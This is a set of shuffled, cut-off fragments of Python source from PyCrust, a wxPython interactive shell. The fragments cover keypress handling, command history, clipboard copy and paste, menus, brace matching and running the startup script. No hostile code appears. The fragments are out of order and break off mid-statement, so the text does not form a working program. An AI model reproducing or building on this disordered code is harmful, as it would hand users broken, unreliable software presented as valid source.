"deletion. elif controlDown and key in (ord('L'), ord('l')): pass # Don't allow line",
"command is issued. ps1 = str(sys.ps1) ps1size = len(ps1) ps2 = str(sys.ps2) ps2size",
"rstrip: command = command.rstrip() return command def lstripPrompt(self, text): \"\"\"Return text without a",
"for matching braces.\"\"\" braceAtCaret = -1 braceOpposite = -1 charBefore = None caretPos",
"import VERSION # local imports from .drag_and_drop import PythonObject from .drag_and_drop import clipboard",
"# Replace with the next command from the history buffer. elif (controlDown and",
"(ie. at index 0) as they are entered. self.historyIndex # is the current",
"Replace the current selection with the one we've found. self.ReplaceSelection(command[len(searchText):]) endpos = self.GetCurrentPos()",
"WXK_F8: self.OnHistorySearch() # Show all history entries that match the command typed so",
"key == WXK_TAB: if self.CanEdit() and not self.topLevelComplete(): event.Skip() # Don't toggle between",
"to the prompt. # # Don't modify a selection with text prior to",
"the front of text. if text[:ps1size] == ps1: text = text[ps1size:] elif text[:ps2size]",
"Create default locals so we have something interesting. shellLocals = {'__name__': 'PyCrust-Shell', '__doc__':",
"view', 1) fm.Append(ID_FILLING_SHOW_MODULE, 'Show __module__', 'Show __module__ entries in the tree view', 1)",
"EVT_MENU(self, ID_FILLING_SHOW_DOC, self.OnFillingShowDoc) EVT_MENU(self, ID_FILLING_SHOW_MODULE, self.OnFillingShowModule) EVT_UPDATE_UI(self, ID_FILLING_AUTO_UPDATE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_METHODS, self.OnUpdateMenu) EVT_UPDATE_UI(self,",
"place. event.Skip() def OnKeyDown(self, event): \"\"\"Key down event handler.\"\"\" # Prevent modification of",
"for method in methods: self.__dict__[method] = getattr(other, method) d = self.__dict__ d['other'] =",
"readonly portion of the shell. elif not self.CanEdit(): pass else: event.Skip() def clearCommand(self):",
"Strip the prompt off the front of text leaving just the command. command",
"topLevelComplete(self): command = self.getCommand(rstrip=0) completions = self.interp.getTopLevelCompletions(command) if len(completions) == 0: return 0",
"): fm = self.fillingMenu = wxMenu() fm.Append(ID_FILLING_AUTO_UPDATE, 'Automatic Update', 'Automatically update tree view",
"self.AutoCompCancel() # Get the command between the prompt and the cursor. # Add",
"\\ 'Shell Revision: %s\\n' % self.shell.revision + \\ 'Interpreter Revision: %s\\n\\n' % self.shell.interp.revision",
"the interpreter. self.interp = Interpreter(locals=shellLocals, \\ rawin=self.raw_input, \\ stdin=self.reader, \\ stdout=PseudoFileOut(self.writeOut), \\ stderr=PseudoFileErr(self.writeErr),",
"bindings: Home Go to the beginning of the command or line. Shift+Home Select",
"command typed so far: elif key == WXK_F9: self.historyShow(self.getCommand(rstrip=0)) # Don't backspace over",
"(len(name) + 1) fallback = curpos - self.GetColumn(curpos) # In case there isn't",
"\\ 'Call Tip Options') if hasattr( self, 'crust' ): fm = self.fillingMenu =",
"OnCallTipsShow(self, event): self.shell.autoCallTip = event.IsChecked() def OnFillingAutoUpdate(self, event): tree = self.crust.filling.fillingTree tree.autoUpdate =",
"self.historyIndex = i break def setStatusText(self, text): \"\"\"Display status information.\"\"\" # This method",
"the shell. Replace line endings with OS-specific endings.\"\"\" text = self.fixLineEndings(text) self.AddText(text) self.EnsureCaretVisible()",
"currpos > home: self.SetCurrentPos(home) if not selecting and not shiftDown: self.SetAnchor(home) self.EnsureCaretVisible() else:",
"% \\ ('startupText', 'startupScript')) else: self.push('') def setStyles(self, faces): \"\"\"Configure font size, typeface",
"platform. # The font was 2 points too large. So we need to",
"= 0 # Set up the interpreter. self.interp = Interpreter(locals=shellLocals, \\ rawin=self.raw_input, \\",
"aware of the prompt. elif key == WXK_HOME: home = self.promptPosEnd if currpos",
"= self.crust.filling.fillingTree tree.showDict = event.IsChecked() tree.update() def OnFillingShowDoc(self, event): tree = self.crust.filling.fillingTree tree.showDoc",
"braceAtCaret < 0: charAfter = self.GetCharAt(caretPos) #*** Patch to fix bug in wxSTC",
"self.autoCompleteShow(command) elif key == ord('('): # The left paren activates a call tip",
"key == WXK_F9: self.historyShow(self.getCommand(rstrip=0)) # Don't backspace over the latest non-continuation prompt. elif",
"= '\\n'.join(lines) if self.reader.isreading: if not command: # Match the behavior of the",
"28 or key == 1241712: # Is there a 'name' for the Enter",
"VERSION # local imports from .drag_and_drop import PythonObject from .drag_and_drop import clipboard as",
"which keycodes the interpreter will autocomplete. self.autoCompleteKeys = self.interp.getAutoCompleteKeys() # Keep track of",
"\"\"\"Display status information.\"\"\" # This method will most likely be replaced by the",
"to use the shell.\"\"\" self.write(self.helpText) def __getattr__(self, name): if hasattr(self.other, name): return getattr(self.other,",
"any line in the shell. thepos = self.GetCurrentPos() startpos = self.promptPosEnd endpos =",
"+ sys.ps2) self.clearCommand() self.write(command) # Process the command if the 'Enter' key was",
"1 self.prompt() try: while not reader.input: wxYield() input = reader.input finally: reader.input =",
"editing should succeed.\"\"\" if self.GetSelectionStart() != self.GetSelectionEnd(): if self.GetSelectionStart() >= self.promptPosEnd \\ and",
"if wxPlatform == '__WXMSW__': faces = { 'times' : 'Times New Roman', 'mono'",
"0: charAfter = self.GetCharAt(caretPos) #*** Patch to fix bug in wxSTC for wxPython",
"of the last non-continuation prompt positions. self.promptPosStart = 0 self.promptPosEnd = 0 #",
"and functions in the tree view', 1) fm.Append(ID_FILLING_SHOW_CLASS, 'Show __class__', 'Show __class__ entries",
"# Real commands have prompts. if rstrip: command = command.rstrip() return command def",
"imports from .drag_and_drop import PythonObject from .drag_and_drop import clipboard as enClipboard sys.ps3 =",
"and chr(charAfter) in '[]{}()' \\ and styleAfter == wxSTC_P_OPERATOR: braceAtCaret = caretPos if",
"self.more = 1 self.prompt() def processLine(self): \"\"\"Process the line of text at which",
"button to leave the application.') def setLocalShell(self): \"\"\"Add 'shell' to locals as reference",
"== ps2: text = text[ps2size:] return text def push(self, command): \"\"\"Send command to",
"prompt for the context, either ps1, ps2 or ps3. If this is a",
"fonts. It may be positive to magnify or negative to reduce.\"\"\" self.SetZoom(points) wxID_SELECTALL",
"commands to be sent to the interpreter. This particular shell is based on",
"= event.IsChecked() def OnAutoCompleteIncludeMagic(self, event): self.shell.autoCompleteIncludeMagic = event.IsChecked() def OnAutoCompleteIncludeSingle(self, event): self.shell.autoCompleteIncludeSingle =",
"WXK_INSERT: pass # Don't allow line deletion. elif controlDown and key in (ord('L'),",
"command == text: command = '' # Real commands have prompts. if rstrip:",
"wxTextDataObject() if wxTheClipboard.GetData(data): endpos = self.GetTextLength() self.SetCurrentPos(endpos) startpos = self.promptPosEnd self.SetSelection(startpos, endpos) self.ReplaceSelection('')",
"replaced by OS-specific endings.\"\"\" lines = text.split('\\r\\n') for l in range(len(lines)): chunks =",
"< 0: charAfter = 32 # Mimic a space. #*** styleAfter = self.GetStyleAt(caretPos)",
"user.\"\"\" self.ask('Press enter to continue:') def clear(self): \"\"\"Delete all text from the shell.\"\"\"",
"EVT_UPDATE_UI(self, wxID_CLEAR, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_SHOW, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_MAGIC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_SINGLE, self.OnUpdateMenu) EVT_UPDATE_UI(self,",
"New Roman', 'mono' : 'Courier New', 'helv' : 'Lucida Console', 'lucida' : 'Lucida",
"self.CallTipShow(tippos, tip) def historyShow(self, prefix=''): items = [] for item in self.history: item",
"a selection with text prior to the prompt. elif selecting and key not",
"self.OnCut) EVT_MENU(self, wxID_COPY, self.OnCopy) EVT_MENU(self, wxID_PASTE, self.OnPaste) EVT_MENU(self, wxID_CLEAR, self.OnClear) EVT_MENU(self, wxID_SELECTALL, self.OnSelectAll)",
"elif key == WXK_BACK: if selecting and self.CanEdit(): event.Skip() elif currpos > self.promptPosEnd:",
"self.ReplaceSelection('') text = data.GetText() text = text.strip() text = self.fixLineEndings(text) text = self.lstripPrompt(text=text)",
"to the command. command += '\\n' command += line commands.append(command) for command in",
"wxID_COPY, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_PASTE, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CLEAR, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_SHOW, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_MAGIC,",
"ID_FILLING_SHOW_DICT, self.OnFillingShowDict) EVT_MENU(self, ID_FILLING_SHOW_DOC, self.OnFillingShowDoc) EVT_MENU(self, ID_FILLING_SHOW_MODULE, self.OnFillingShowModule) EVT_UPDATE_UI(self, ID_FILLING_AUTO_UPDATE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_METHODS,",
"self.SetSelection(endpos, startpos) def OnHistorySearch(self): \"\"\"Search up the history buffer for the text in",
"ID_FILLING_AUTO_UPDATE: event.Check(self.crust.filling.fillingTree.autoUpdate) elif id == ID_FILLING_SHOW_METHODS: event.Check(self.crust.filling.fillingTree.showMethods) elif id == ID_FILLING_SHOW_CLASS: event.Check(self.crust.filling.fillingTree.showClass) elif",
"return key = event.KeyCode() currpos = self.GetCurrentPos() stoppos = self.promptPosEnd # Return (Enter)",
"the interpreter for execution.\"\"\" self.write(os.linesep) busy = wxBusyCursor() self.more = self.interp.push(command) del busy",
"wxMenu() m.Append(ID_CALLTIPS_SHOW, 'Show Call Tips', \\ 'Show call tips with argument specifications', 1)",
"self.GotoLine(line) text = self.GetCurLine()[0] if text[:ps1size] == ps1: line = self.GetCurrentLine() self.GotoLine(line) startpos",
"self.interp.locals['shell'] = ShellFacade(other=self) def execStartupScript(self, startupScript): \"\"\"Execute the user's PYTHONSTARTUP script if they",
"1) m.Append(ID_AUTOCOMP_INCLUDE_DOUBLE, 'Include Double Underscores', \\ 'Include attibutes prefixed by a double underscore',",
"true if a paste should succeed.\"\"\" if self.CanEdit() and \\ (wxStyledTextCtrl.CanPaste(self) or \\",
"\\ self.OnAutoCompleteIncludeSingle) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_DOUBLE, \\ self.OnAutoCompleteIncludeDouble) EVT_MENU(self, ID_CALLTIPS_SHOW, \\ self.OnCallTipsShow) EVT_UPDATE_UI(self, wxID_UNDO, self.OnUpdateMenu)",
"if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def CopyWithPrompts(self): \"\"\"Copy selection, including prompts, and place it",
"font size. if (wxMAJOR_VERSION, wxMINOR_VERSION, wxRELEASE_NUMBER) < (2, 3, 2): faces['size'] -= 2",
"wxMenu() m.Append(wxID_UNDO, '&Undo \\tCtrl+Z', 'Undo the last action') m.Append(wxID_REDO, '&Redo \\tCtrl+Y', 'Redo the",
"b.Append(self.editMenu, '&Edit') b.Append(self.optionsMenu, '&Options') b.Append(self.helpMenu, '&Help') self.SetMenuBar(b) EVT_MENU(self, wxID_EXIT, self.OnExit) EVT_MENU(self, wxID_UNDO, self.OnUndo)",
"(ord('C'), ord('c'), WXK_INSERT): self.CopyWithPrompts() # Home needs to be aware of the prompt.",
"very bottom of the text. endpos = self.GetTextLength() self.SetCurrentPos(endpos) command = command.rstrip() if",
"list = self.interp.getAutoCompleteList(command, includeMagic=self.autoCompleteIncludeMagic, includeSingle=self.autoCompleteIncludeSingle, includeDouble=self.autoCompleteIncludeDouble) if list: options = '\\n'.join(list) offset =",
"or negative to reduce.\"\"\" self.SetZoom(points) wxID_SELECTALL = wxNewId() ID_AUTOCOMP = wxNewId() ID_AUTOCOMP_SHOW =",
"= '<-- ' # Input prompt. NAVKEYS = (WXK_END, WXK_LEFT, WXK_RIGHT, WXK_UP, WXK_DOWN,",
"to __getattr__ and __setattr__', 1) m.Append(ID_AUTOCOMP_INCLUDE_SINGLE, 'Include Single Underscores', \\ 'Include attibutes prefixed",
"-1 and braceOpposite == -1: self.BraceBadLight(braceAtCaret) else: self.BraceHighlight(braceAtCaret, braceOpposite) def OnChar(self, event): \"\"\"Keypress",
"def OnAutoCompleteIncludeDouble(self, event): self.shell.autoCompleteIncludeDouble = event.IsChecked() def OnCallTipsShow(self, event): self.shell.autoCallTip = event.IsChecked() def",
"they have one.\"\"\" if startupScript and os.path.isfile(startupScript): startupText = 'Startup script executed: '",
"isn't enough room, only go back to the fallback. tippos = max(tippos, fallback)",
"Enter.\"\"\" # The user hit ENTER and we need to decide what to",
"\\ stdout=PseudoFileOut(self.writeOut), \\ stderr=PseudoFileErr(self.writeErr), \\ *args, **kwds) # Find out for which keycodes",
"0: braceOpposite = self.BraceMatch(braceAtCaret) if braceAtCaret != -1 and braceOpposite == -1: self.BraceBadLight(braceAtCaret)",
"command. elif key == WXK_ESCAPE: if self.CallTipActive(): event.Skip() else: self.clearCommand() # Cut to",
"== WXK_UP) and self.CanEdit(): self.OnHistoryInsert(step=+1) # Insert the next command from the history",
"self.CanEdit(): self.write(os.linesep) self.more = 1 self.prompt() def processLine(self): \"\"\"Process the line of text",
"try: if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject() if wxTheClipboard.GetData(data): self.ReplaceSelection('') command = data.GetText() command",
"command == '': self.historyShow() else: command += chr(key) self.write(chr(key)) if self.autoComplete: self.autoCompleteShow(command) elif",
"str(sys.ps1) ps1size = len(ps1) ps2 = str(sys.ps2) ps2size = len(ps2) # Strip the",
"command.replace('\\n', os.linesep + sys.ps2) else: command = '' if rstrip: command = command.rstrip()",
"9, 'backcol': '#FFFFFF', } # Versions of wxPython prior to 2.3.2 had a",
"def lstripPrompt(self, text): \"\"\"Return text without a leading prompt.\"\"\" ps1 = str(sys.ps1) ps1size",
"EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_DOUBLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_CALLTIPS_SHOW, self.OnUpdateMenu) if hasattr( self, 'crust' ): EVT_MENU(self, ID_FILLING_AUTO_UPDATE,",
"\\ 'Interpreter Revision: %s\\n\\n' % self.shell.interp.revision + \\ 'Python Version: %s\\n' % sys.version.split()[0]",
"index 0) as they are entered. self.historyIndex # is the current position in",
"used to submit a command to the interpreter. if not controlDown and key",
"wxSTC events. EVT_STC_UPDATEUI(self, id, self.OnUpdateUI) EVT_STC_USERLISTSELECTION(self, id, self.OnHistorySelected) # Configure various defaults and",
"leave the application.') def setLocalShell(self): \"\"\"Add 'shell' to locals as reference to ShellFacade",
"2.3.3. if charAfter < 0: charAfter = 32 # Mimic a space. #***",
"wxNewId() ID_AUTOCOMP_SHOW = wxNewId() ID_AUTOCOMP_INCLUDE_MAGIC = wxNewId() ID_AUTOCOMP_INCLUDE_SINGLE = wxNewId() ID_AUTOCOMP_INCLUDE_DOUBLE = wxNewId()",
"m.AppendSeparator() m.Append(wxID_EXIT, 'E&xit', 'Exit PyCrust') m = self.editMenu = wxMenu() m.Append(wxID_UNDO, '&Undo \\tCtrl+Z',",
"self.OnAutoCompleteIncludeMagic) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_SINGLE, \\ self.OnAutoCompleteIncludeSingle) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_DOUBLE, \\ self.OnAutoCompleteIncludeDouble) EVT_MENU(self, ID_CALLTIPS_SHOW, \\ self.OnCallTipsShow)",
"redirectStdout(self, redirect=1): \"\"\"If redirect is true then sys.stdout will go to the shell.\"\"\"",
"if self.CallTipActive: self.CallTipCancel() self.Copy() self.ReplaceSelection('') def Copy(self): \"\"\"Copy selection and place it on",
"ShellFacade instance.\"\"\" methods = ['ask', 'clear', 'pause', 'prompt', 'quit', 'redirectStderr', 'redirectStdin', 'redirectStdout', 'run',",
"def __getattr__(self, name): if hasattr(self.other, name): return getattr(self.other, name) else: raise AttributeError(name) def",
"\\ and self.GetSelectionStart() >= self.promptPosEnd \\ and self.GetSelectionEnd() >= self.promptPosEnd: return 1 else:",
"== '__WXMSW__': faces = { 'times' : 'Times New Roman', 'mono' : 'Courier",
"self.autoCompleteKeys = self.interp.getAutoCompleteKeys() # Keep track of the last non-continuation prompt positions. self.promptPosStart",
"= event.IsChecked() tree.update() def OnFillingShowModule(self, event): tree = self.crust.filling.fillingTree tree.showModule = event.IsChecked() tree.update()",
"% faces) self.StyleClearAll() # Built in styles self.StyleSetSpec(wxSTC_STYLE_LINENUMBER, \"back:#C0C0C0,face:%(mono)s,size:%(lnsize)d\" % faces) self.StyleSetSpec(wxSTC_STYLE_CONTROLCHAR, \"face:%(mono)s\"",
"WXK_RETURN: if self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive(): self.CallTipCancel() if (not self.more and (self.GetTextRange(self.promptPosEnd, self.GetCurrentPos())",
"return setattr(self.other, name, value) else: raise AttributeError(name) def _getAttributeNames(self): \"\"\"Return list of magic",
"OnChar(self, event): \"\"\"Keypress event handler. Only receives an event if OnKeyDown calls event.Skip()",
"= command.replace( '\\\\n', os.linesep + sys.ps2) self.clearCommand() self.write(command) # Process the command if",
"= '' for line in lines: if line.strip() != '' and line.lstrip() ==",
"n > 0: self.historyMatches = matches = [] for command in self.history: if",
"EVT_UPDATE_UI(self, wxID_UNDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_REDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CUT, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_COPY, self.OnUpdateMenu) EVT_UPDATE_UI(self,",
"includes text prior to the prompt. # # Don't modify a selection with",
"# The left paren activates a call tip and cancels # an active",
"faces) def OnUpdateUI(self, evt): \"\"\"Check for matching braces.\"\"\" braceAtCaret = -1 braceOpposite =",
"Interpreter(locals=shellLocals, \\ rawin=self.raw_input, \\ stdin=self.reader, \\ stdout=PseudoFileOut(self.writeOut), \\ stderr=PseudoFileErr(self.writeErr), \\ *args, **kwds) #",
"PyCrust.' def zoom(self, points=0): \"\"\"Set the zoom level. This number of points is",
"self.push('') def setStyles(self, faces): \"\"\"Configure font size, typeface and color for lexer.\"\"\" #",
"not self.CanEdit(): return startpos = self.GetCurrentPos() # The text up to the cursor",
"line or the same as the last command. if command != '' \\",
"['autoCallTip', 'autoComplete', 'autoCompleteCaseInsensitive', 'autoCompleteIncludeDouble', 'autoCompleteIncludeMagic', 'autoCompleteIncludeSingle', ] list.sort() return list class Shell(wxStyledTextCtrl): \"\"\"PyCrust",
"= { 'times' : 'Times New Roman', 'mono' : 'Courier New', 'helv' :",
"'lnsize' : 9, 'backcol': '#FFFFFF', } # Versions of wxPython prior to 2.3.2",
"= value elif hasattr(self.other, name): return setattr(self.other, name, value) else: raise AttributeError(name) def",
"= \\ 'Click on the close button to leave the application.' def quit(self):",
"a shell prompt. The command may not necessarily be valid Python syntax.\"\"\" if",
"== WXK_DELETE: if self.CanEdit(): event.Skip() elif key == WXK_TAB: if self.CanEdit() and not",
"self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_SHOW, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_MAGIC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_SINGLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_DOUBLE, self.OnUpdateMenu)",
"\"\"\"Update menu items based on current status.\"\"\" id = event.GetId() if id ==",
"self.GetTextLength() self.SetCurrentPos(endpos) command = command.rstrip() if prompt: self.prompt() if verbose: self.write(command) self.push(command) def",
"else: return 0 def CanCopy(self): \"\"\"Return true if text is selected and can",
"\\ 'the other half is still in the oven.\\n\\n' + \\ 'Shell Revision:",
"== -1 means # you're on the current command, not in the history.",
"as the last command. if command != '' \\ and (len(self.history) == 0",
"the history for the text in front of the cursor. elif key ==",
"want to automatically pop up command completion options? self.autoComplete = 1 self.autoCompleteIncludeMagic =",
"0 return input def raw_input(self, prompt=''): \"\"\"Return string based on user input.\"\"\" if",
"= command.rstrip() return command def getCommand(self, text=None, rstrip=1): \"\"\"Extract a command from text",
"'Select A&ll', 'Select all text') m = self.autocompMenu = wxMenu() m.Append(ID_AUTOCOMP_SHOW, 'Show Auto",
"override anything they want. try: self.execStartupScript(self.interp.startupScript) except: pass def destroy(self): # del self.interp",
"as if it was typed in directly. >>> shell.run('print \"this\"') >>> print \"this\"",
": 'Courier New', 'helv' : 'Lucida Console', 'lucida' : 'Lucida Console', 'other' :",
"to locals as reference to ShellFacade instance.\"\"\" self.interp.locals['shell'] = ShellFacade(other=self) def execStartupScript(self, startupScript):",
"command into the history, unless it's a blank # line or the same",
"command between the prompt and the cursor. # Add the autocomplete character to",
"key == WXK_ESCAPE: if self.CallTipActive(): event.Skip() else: self.clearCommand() # Cut to the clipboard.",
"in self.history: item = item.replace( '\\n', '\\\\n' ) if (prefix == item[:len(prefix)]) and",
"Enter key? self.processLine() def topLevelComplete(self): command = self.getCommand(rstrip=0) completions = self.interp.getTopLevelCompletions(command) if len(completions)",
"= command.replace(os.linesep, '\\n') command = command.replace('\\n', os.linesep + sys.ps2) self.write(command) if wxTheClipboard.IsSupported(PythonObject) and",
"VERSION + \\ 'Yet another Python shell, only flakier.\\n\\n' + \\ 'Half-baked by",
"= self.fixLineEndings(command) command = self.lstripPrompt(text=command) command = command.replace(os.linesep + sys.ps2, '\\n') command =",
"charBefore and chr(charBefore) in '[]{}()' \\ and styleBefore == wxSTC_P_OPERATOR: braceAtCaret = caretPos",
"event.ShiftDown() currpos = self.GetCurrentPos() endpos = self.GetTextLength() selecting = self.GetSelectionStart() != self.GetSelectionEnd() #",
"you're on the current command, not in the history. self.history = [] self.historyIndex",
"self.Copy() # Copy to the clipboard, including prompts. elif controlDown and shiftDown \\",
"self.optionsMenu = wxMenu() m.AppendMenu(ID_AUTOCOMP, '&Auto Completion', self.autocompMenu, \\ 'Auto Completion Options') m.AppendMenu(ID_CALLTIPS, '&Call",
"= event.ShiftDown() currpos = self.GetCurrentPos() endpos = self.GetTextLength() selecting = self.GetSelectionStart() != self.GetSelectionEnd()",
"Need to extract real prompts here. Need to keep track of the #",
"the presence of a PythonObject on the # clipboard is really just a",
"m.Append(wxID_COPY, '&Copy \\tCtrl+C', 'Copy the selection') m.Append(wxID_PASTE, '&Paste \\tCtrl+V', 'Paste') m.AppendSeparator() m.Append(wxID_CLEAR, 'Cle&ar',",
"wxID_REDO, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CUT, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_COPY, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_PASTE, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CLEAR,",
"self.GetTextRange(startpos, endpos) lines = command.split(os.linesep + sys.ps2) lines = [line.rstrip() for line in",
": 10, 'lnsize' : 9, 'backcol': '#FFFFFF', } # Versions of wxPython prior",
"self.OnHistoryReplace(step=+1) # Replace with the next command from the history buffer. elif (controlDown",
"front of the cursor. elif key == WXK_F8: self.OnHistorySearch() # Show all history",
"def OnHistoryInsert(self, step): \"\"\"Insert the previous/next command from the history buffer.\"\"\" if not",
"EVT_UPDATE_UI(self, wxID_CUT, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_COPY, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_PASTE, self.OnUpdateMenu) EVT_UPDATE_UI(self, wxID_CLEAR, self.OnUpdateMenu) EVT_UPDATE_UI(self,",
"self.GetTextLength() - startpos searchText = self.getCommand(rstrip=0) if numCharsAfterCursor > 0: searchText = searchText[:-numCharsAfterCursor]",
"self.promptPosEnd endpos = self.GetTextLength() # If they hit RETURN inside the current command,",
"m = self.fileMenu = wxMenu() m.AppendSeparator() m.Append(wxID_EXIT, 'E&xit', 'Exit PyCrust') m = self.editMenu",
"sys.stdout will go to the shell.\"\"\" if redirect: sys.stdout = PseudoFileOut(self.writeOut) else: sys.stdout",
"application.') def setLocalShell(self): \"\"\"Add 'shell' to locals as reference to ShellFacade instance.\"\"\" self.interp.locals['shell']",
"available in this version of PyCrust.' def zoom(self, points=0): \"\"\"Set the zoom level.",
"= wxNewId() ID_FILLING_SHOW_CLASS = wxNewId() ID_FILLING_SHOW_DICT = wxNewId() ID_FILLING_SHOW_DOC = wxNewId() ID_FILLING_SHOW_MODULE =",
"has complete control over their # environment. They can override anything they want.",
"call tip and cancels # an active auto completion. if self.AutoCompActive(): self.AutoCompCancel() #",
"self.__dict__: self.__dict__[name] = value elif hasattr(self.other, name): return setattr(self.other, name, value) else: raise",
"endpos = self.GetTextLength() selecting = self.GetSelectionStart() != self.GetSelectionEnd() # Return (Enter) is used",
"= self.GetCharAt(caretPos) #*** Patch to fix bug in wxSTC for wxPython < 2.3.3.",
"on any line in the shell. thepos = self.GetCurrentPos() startpos = self.promptPosEnd endpos",
"== ord('('): # The left paren activates a call tip and cancels #",
"self.setLocalShell() except: pass # Do this last so the user has complete control",
"EVT_MENU(self, ID_AUTOCOMP_INCLUDE_MAGIC, \\ self.OnAutoCompleteIncludeMagic) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_SINGLE, \\ self.OnAutoCompleteIncludeSingle) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_DOUBLE, \\ self.OnAutoCompleteIncludeDouble) EVT_MENU(self,",
"self.config() # Display the introductory banner information. try: self.showIntro(introText) except: pass # Assign",
"line -= 1 self.GotoLine(line) text = self.GetCurLine()[0] if text[:ps1size] == ps1: line =",
"hasattr(self.other, name): return getattr(self.other, name) else: raise AttributeError(name) def __setattr__(self, name, value): if",
"chr(charAfter) in '[]{}()' \\ and styleAfter == wxSTC_P_OPERATOR: braceAtCaret = caretPos if braceAtCaret",
"oven.\\n\\n' + \\ 'Shell Revision: %s\\n' % self.shell.revision + \\ 'Interpreter Revision: %s\\n\\n'",
"line of text at which the user hit Enter.\"\"\" # The user hit",
"0 # Create the command history. Commands are added into the front of",
"elif hasattr(self.other, name): return setattr(self.other, name, value) else: raise AttributeError(name) def _getAttributeNames(self): \"\"\"Return",
">= self.promptPosEnd \\ and self.GetSelectionEnd() >= self.promptPosEnd: return 1 else: return 0 def",
"the clipboard.\"\"\" if self.CanCut() and self.CanCopy(): if self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive: self.CallTipCancel() self.Copy()",
"just a signal to grab the data # from our singleton clipboard instance",
"def OnAutoCompleteIncludeSingle(self, event): self.shell.autoCompleteIncludeSingle = event.IsChecked() def OnAutoCompleteIncludeDouble(self, event): self.shell.autoCompleteIncludeDouble = event.IsChecked() def",
"list (ie. at index 0) as they are entered. self.historyIndex # is the",
"XXX Add some autoindent magic here if more. if self.more: self.write(' '*4) #",
"= wxNewId() ID_FILLING_SHOW_DOC = wxNewId() ID_FILLING_SHOW_MODULE = wxNewId() class ShellMenu: \"\"\"Mixin class to",
"VERSION, } # Add the dictionary that was passed in. if locals: shellLocals.update(locals)",
"active auto completion. if self.AutoCompActive(): self.AutoCompCancel() # Get the command between the prompt",
"if self.CanEdit(): self.write(os.linesep) self.more = 1 self.prompt() def processLine(self): \"\"\"Process the line of",
"self.GetSelectedText() data = wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def Paste(self): \"\"\"Replace selection with",
"attributes of other are still accessible, even though only some are visible to",
"if self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive: self.CallTipCancel() self.Copy() self.ReplaceSelection('') def Copy(self): \"\"\"Copy selection and",
"+ sys.ps2, '\\n') text = text.replace(os.linesep, '\\n') lines = text.split('\\n') commands = []",
"= [] command = '' for line in lines: if line.strip() != ''",
"self.autocompMenu = wxMenu() m.Append(ID_AUTOCOMP_SHOW, 'Show Auto Completion', \\ 'Show auto completion during dot",
"= wxMenu() m.AppendMenu(ID_AUTOCOMP, '&Auto Completion', self.autocompMenu, \\ 'Auto Completion Options') m.AppendMenu(ID_CALLTIPS, '&Call Tips',",
"about how to use the shell.\"\"\" self.write(self.helpText) def __getattr__(self, name): if hasattr(self.other, name):",
"if self.CallTipActive: self.CallTipCancel() (name, argspec, tip) = self.interp.getCallTip(command) if argspec: startpos = self.GetCurrentPos()",
"< (2, 3, 2): faces['size'] -= 2 faces['lnsize'] -= 2 else: # GTK",
"= self.GetStyleAt(caretPos) if charAfter and chr(charAfter) in '[]{}()' \\ and styleAfter == wxSTC_P_OPERATOR:",
"then press F9.) \"\"\" def help(self): \"\"\"Display some useful information about how to",
"pos = self.GetCurLine()[1] if pos > 0: if isreading: skip = 1 else:",
"command. command += '\\n' command += line commands.append(command) for command in commands: command",
"= sys.stderr self.handlers = [] self.python_obj_paste_handler = None # Add the current working",
"return self.readline() def ask(self, prompt='Please enter your response:'): \"\"\"Get response from the user",
"self.EmptyUndoBuffer() # XXX Add some autoindent magic here if more. if self.more: self.write('",
"automatically pop up command completion options? self.autoComplete = 1 self.autoCompleteIncludeMagic = 1 self.autoCompleteIncludeSingle",
"title = 'About PyCrust' text = 'PyCrust %s\\n\\n' % VERSION + \\ 'Yet",
"0: charBefore = self.GetCharAt(caretPos - 1) #*** Patch to fix bug in wxSTC",
"EVT_MENU(self, ID_FILLING_SHOW_CLASS, self.OnFillingShowClass) EVT_MENU(self, ID_FILLING_SHOW_DICT, self.OnFillingShowDict) EVT_MENU(self, ID_FILLING_SHOW_DOC, self.OnFillingShowDoc) EVT_MENU(self, ID_FILLING_SHOW_MODULE, self.OnFillingShowModule) EVT_UPDATE_UI(self,",
"ID_AUTOCOMP_SHOW: event.Check(self.shell.autoComplete) elif id == ID_AUTOCOMP_INCLUDE_MAGIC: event.Check(self.shell.autoCompleteIncludeMagic) elif id == ID_AUTOCOMP_INCLUDE_SINGLE: event.Check(self.shell.autoCompleteIncludeSingle) elif",
